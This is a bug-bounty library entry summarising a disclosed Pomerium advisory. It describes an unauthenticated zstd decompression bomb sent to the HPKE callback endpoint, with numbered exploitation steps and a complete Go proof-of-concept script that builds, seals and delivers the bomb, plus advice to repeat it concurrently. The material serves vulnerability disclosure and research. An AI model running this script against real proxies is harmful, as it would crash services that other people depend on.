# Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

Pre-auth zstd decompression bomb in Pomerium's HPKE V2 callback decode path lets an unauthenticated attacker allocate hundreds of MB per request and crash the proxy.

- Payout: Research
- Severity: high
- Program: Pomerium
- Found by: bugbunny-research
- Disclosed: 2026-07-15
- CVE: CVE-2026-50285
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-ggw3-5987-rx77
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ggw3-5987-rx77
- Tags: area:web domain:web impact:dos kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:dos vuln:misconfiguration

**Target:** Pomerium proxy /.pomerium/callback endpoint (HPKE V2 URL decode)
**Root cause:** decodeQueryStringV2 calls zstd DecodeAll with no output size cap, and HPKE sender validation happens only after decompression, so attacker-chosen key pairs pass Open and reach the unbounded decompress.
**Steps:**
1. Fetch receiver key: `curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key"`
2. Generate attacker sender key pair with hpke.GeneratePrivateKey()
3. Build bomb: `plain := "x=" + strings.Repeat("A", 128*1024*1024)` then zstd-compress (~19 KB)
4. Seal compressed payload with attacker private key to receiver public key via hpke.Seal
5. Send GET to `https://TARGET_HOSTNAME/.pomerium/callback/?k=<attacker_pub>&q=<base64url(sealed)>`
6. Repeat concurrently; server allocates ~256 MB per request before validateSenderPublicKey rejects
**How found:** Code review of the HPKE V2 decode path; noticed decodeQueryStringV2 lacked a size cap while download.go used io.LimitReader, and that sender validation occurs after DecryptURLValues returns.
**Exploitation:** Attacker needs only network reach to the proxy HTTPS port. Because the receiver public key is served unauthenticated and the callback is intentionally pre-auth, the attacker supplies both sender public key k and sealed payload q, so HPKE Open succeeds with their own key pair; zstd decompression then allocates unbounded memory before sender identity is checked. Repeated/concurrent requests exhaust process memory and crash the proxy.
**Escalation:** Amplification by repeating requests concurrently; each ~20-40 KB payload yields hundreds of MB allocation.
**Insight:** When a decrypt-then-decompress pipeline authenticates the sender only after decompression, the attacker controls the key material and the auth check is useless as a DoS gate; grep for DecodeAll/Decompress calls lacking LimitReader in pre-auth handlers.

## Proof of concept (copied exactly from the original report)

**Go decompression bomb exploit script**

```
package main

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "strings"

    "github.com/klauspost/compress/zstd"
    "github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
    // Fetch receiver public key from the target
    resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
    pubBytes := make([]byte, 32)
    resp.Body.Read(pubBytes)
    resp.Body.Close()

    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

    // Attacker generates their own sender key pair
    attackerPriv, _ := hpke.GeneratePrivateKey()

    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
    plain := "x=" + strings.Repeat("A", 128*1024*1024)
    enc, _ := zstd.NewWriter(nil)
    compressed := enc.EncodeAll([]byte(plain), nil)

    // Seal the bomb with attacker's private key → server's public key
    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

    form := url.Values{
        "k": {attackerPriv.PublicKey().String()},
        "q": {base64.RawURLEncoding.EncodeToString(sealed)},
    }

    // Deliver to the pre-auth callback endpoint
    target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
    fmt.Printf("Sending bomb to: %s\n", target)
    http.Get(target)
    fmt.Println("Done — server allocated ~256 MB per request")
}
```

**curl fetch of receiver public key**

```
# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
```

